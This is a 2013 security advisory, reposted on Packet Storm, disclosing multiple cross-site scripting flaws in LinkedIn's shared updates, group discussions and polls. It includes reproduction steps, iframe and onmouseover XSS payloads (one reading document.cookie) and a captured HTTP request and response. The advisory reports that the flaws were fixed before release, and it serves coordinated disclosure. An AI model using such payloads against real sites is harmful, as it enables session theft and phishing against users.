LinkedIn Cross Site Scripting

2013-09-26T00:00:00
ID PACKETSTORM:123406
Type packetstorm
Reporter Eduardo Garcia Melia
Modified 2013-09-26T00:00:00

Description

                                        
                                            `=============================================  
INTERNET SECURITY AUDITORS ALERT 2012-003  
- Original release date: 16th December 2012  
- Last revised: 26th September 2013  
- Discovered by: Eduardo Garcia Melia  
- Severity: 6.8/10 (CVSS Base Scored)  
=============================================  
  
I. VULNERABILITY  
-------------------------  
LinkedIn social network is affected by Multiple Reflected Cross-Site  
Scripting vulnerabilities.   
  
II. BACKGROUND  
-------------------------  
LinkedIn is a social networking service and  
website(http://www.linkedin.com/) operates the world's largest  
professional network on the Internet with more  
  
than 187 million members in over 200 countries and territories.  
  
More Information: http://press.linkedin.com/about  
  
III. DESCRIPTION  
-------------------------  
LinkedIn social network is affected by Multiple reflected Cross-Site  
Scripting vulnerabilities. An attacker can inject HTML or script code in  
the context of  
  
victim's browser, so can perform XSS attacks, and steal cookies of a  
targeted user. The affected resource is  
http://www.linkedin.com/home?trk=guest_home.  
  
IV. PROOF OF CONCEPT  
-------------------------  
=============================  
First XSS -> Corrected  
=============================  
You can go to LinkedIn Home -> Shared an Update -> Attach Link. After  
attack link, you should edit this link, and put in the Title and  
Description field, the  
  
XSS injection, for example:  
  
+ <h1>XSS TEST</h1>  
+ <iframe src="javascript:alert(document.cookie);"></iframe>  
  
Finally, you should pulse "Preview" button, and then show you the injection.  
  
The vulnerability is in this code:  
  
<div class="share-content" id="share-content" data-entity-id="932308905"  
data-entity-url="http://www.URL.com" data-has-photo="yes">  
<h4 class="share-view-title" id="share-view-title">XSSINJECTION</h4>  
<p id="share-view-meta" class="meta">  
URLTITLE  
</p>  
<p class="share-summary">  
<span class="share-view-summary" id="share-view-summary">XSSINJECTION</span>  
<a href="#" id="share-edit-link">Edit</a>  
<script id="control-a9f0c4dd-2797-4750-9243-add575e00c08-2"  
type="linkedin/control" class="li-control">  
  
/* extlib: _toggleclass */  
  
  
  
LI.Controls.addControl('control-a9f0c4dd-2797-4750-9243-add575e00c08-2',  
'ToggleClass', {  
classname: 'is-view-mode',  
on: '#share-preview',  
stopEvent: true  
});  
</script>  
</p>  
</div>  
  
=============================  
Second XSS   
=============================  
You can go to LinkedIn Groups -> Groups you may like, and find some  
open group, for example "Test Analyst / Test Lead / Test Manager  
Networking". After, you  
  
can start Discussion, and put on the fields "Test" and "test" value and  
pulse "share" button. When the discussion is shared, show you "Your post  
has been  
  
submitted for review. You can view it here.", if you go to "here" link,  
you can edit your post and put, for example, this code:  
  
+ <IFRAME SRC=# onmouseover="alert('XSS')">  
  
Example REQUEST:  
POST /groupItem HTTP/1.1  
Host: www.linkedin.com  
Origin: http://www.linkedin.com  
X-Requested-With: XMLHttpRequest  
Referer:  
http://www.linkedin.com/groups?displayMySubmitted=&gid=4041084&goback=%2Egmp_4041084  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3  
Cookie: XXX  
  
  
editPendingItem=&csrfToken=ajax:8141336854842107468&item=PMOD_43011393&gid=4041084&ajax=true&goback=.gmp_4041084&content=<IFRAME  
SRC=#  
  
onmouseover="alert('XSS')">&detail=test&  
  
RESPONSE:  
HTTP/1.1 200 OK  
Server: Apache-Coyote/1.1  
Vary: Accept-Encoding  
Date: Mon, 04 Mar 2013 14:51:03 GMT  
X-FS-TXN-ID: 2adf39a79210  
X-FS-UUID: c84a30f8753fe812d0841ff4322b0000  
X-LI-UUID: yEow+HU/6BLQhB/0MisAAA==  
Age: 0  
X-Content-Type-Options: nosniff  
X-XSS-Protection: 0  
Set-Cookie: XXX  
  
{"abbreviatedContent":"<IFRAME SRC=# onmouseover=\"alert('XSS')\">  
...","editTimeLeftAsStr":"13 minutes  
  
left","statusCode":"0","updated":"true","editTimeLeftInSec":"791","item":"PMOD_43011393","origDetail":"test","isDetailAbbreviated":"false","origContent":"<IF  
  
RAME SRC=#  
onmouseover=\"alert('XSS')\">","isContentAbbreviated":"true","fullContent":"<IFRAME  
SRC=# onmouseover=\"alert  
  
('XSS')\">","abbreviatedDetail":"test"}  
  
and then show you the injection.  
  
=============================  
Third XSS   
=============================  
You can go to LinkedIn Groups -> Create a Group, and create new group.  
After, you can start Discussion, and put on the fields, for example,  
this code:  
  
+ <IFRAME SRC=# onmouseover="alert('XSS')">  
  
Pulse "share" button and then show you the injection.  
  
===============  
Fourth XSS  
===============   
You can go to LinkedIn Groups -> Create a Group, and create new group.  
After, you can create a Poll, and put on the fields, for example, this code:  
  
+ <IFRAME SRC=# onmouseover="alert('XSS')">  
  
Pulse "share" button and then show you the injection.  
  
V. BUSINESS IMPACT  
------------------------  
This flaw can be used by a malicious user to send phishing to the linked  
in customers, abusing of the users trust on LinkedIn portal, tricking  
the user. This  
  
user can be forward to a LinkedIn clone site to stolen credentials, to  
some malicious site hosting malware and more.   
  
VI. SYSTEMS AFFECTED  
-------------------------  
The vulnerability affects the LinkedIn network:  
http://www.linkedin.com  
https://touch.www.linkedin.com  
  
VII. SOLUTION  
-------------------------  
Partially pending.  
  
VIII. REFERENCES  
-------------------------  
http://www.linkedin.com  
http://www.isecauditors.com  
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)  
  
IX. CREDITS  
-------------------------  
These vulnerabilities have been discovered by  
Eduardo Garcia Melia (egarcia (at) isecauditors (dot) com).  
  
X. REVISION HISTORY  
-------------------------  
December 17, 2012: Initial release.  
January 20, 2013: Second revision.  
March 10, 2013: Third revision.  
September 26, 2013: Final release.  
  
XI. DISCLOSURE TIMELINE  
-------------------------  
December 17, 2012: Vulnerability acquired by Eduardo Garcia Melia  
Internet Security Auditors (www.isecauditors.com).  
January 20, 2013: Second revision.  
Sent to LinkedIn Security Team.  
February 7, 2013: Response from Sec Team. Ask for resend.  
February 19, 2013: Send updated.  
February 26, 2013: Answer about it seems to be corrected. Possitively  
checked.  
March 10, 2013: Send updated with more XSS vulnerable resources.  
July 11, 2013: All XSS issues have been resolved.  
September 26, 2013: Sent to lists.  
  
XII. LEGAL NOTICES  
-------------------------  
The information contained within this advisory is supplied "as-is" with  
no warranties or guarantees of fitness of use or otherwise. Internet  
Security  
  
Auditors accepts no responsibility for any damage caused by the use or  
misuse of this information.  
  
XIII. ABOUT  
-------------------------  
Internet Security Auditors is a Spain based leader in web application  
testing, network security, penetration testing, security compliance  
implementation and  
  
assessing. Our clients include some of the largest companies in areas  
such as finance, telecommunications, insurance, ITC, etc. We are vendor  
independent  
  
provider with a deep expertise since 2001. Our efforts in R&D include  
vulnerability research, open security project collaboration and  
whitepapers,  
  
presentations and security events participation and promotion. For  
further information regarding our security services, contact us.  
  
XIV. FOLLOW US  
-------------------------  
You can follow Internet Security Auditors, news and security advisories at:  
https://www.facebook.com/ISecAuditors  
https://twitter.com/ISecAuditors  
http://www.linkedin.com/company/internet-security-auditors  
http://www.youtube.com/user/ISecAuditors  
`